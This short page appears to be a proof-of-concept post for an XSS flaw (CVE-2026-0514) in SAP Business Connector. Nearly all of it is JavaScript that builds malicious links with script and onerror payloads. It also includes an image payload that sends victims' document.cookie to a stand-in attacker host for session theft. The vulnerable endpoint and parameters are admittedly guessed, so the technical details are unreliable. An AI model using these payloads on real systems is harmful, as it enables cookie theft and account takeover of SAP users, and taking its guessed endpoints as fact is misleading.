SAP Business Connector XSS跨站脚本漏洞 (CVE-2026-0514)

<!-- CVE-2026-0514 PoC - XSS in SAP Business Connector --> <!-- Example malicious URL that could trigger the XSS vulnerability --> <script> // Simulated XSS payload for SAP Business Connector // This demonstrates how an attacker might craft a malicious link const maliciousPayload = '<script>alert("XSS - CVE-2026-0514")</script>'; const baseUrl = 'https://<sap-business-connector-host>/'; // Attack scenario: Craft a URL with XSS payload in a parameter // Common vulnerable parameters might be: id, name, page, redirect, url, etc. const vulnerableEndpoint = 'webclient/redirect'; const maliciousUrl = `${baseUrl}${vulnerableEndpoint}?url=${encodeURIComponent(maliciousPayload)}`; console.log('Malicious URL for social engineering:'); console.log(maliciousUrl); // Another common XSS vector const xssVector2 = '" onerror="alert(document.cookie)" "'; const maliciousUrl2 = `${baseUrl}${vulnerableEndpoint}?param=${encodeURIComponent(xssVector2)}`; console.log('\nAlternative XSS vector:'); console.log(maliciousUrl2); // When victim clicks the link, they will be redirected to attacker's site // The payload executes in the context of the vulnerable domain const redirectPayload = '<img src=x onerror="window.location=\'https://attacker-controlled-site.com/steal?cookie=\'+document.cookie">'; console.log('\nRedirect payload:'); console.log(redirectPayload); </script>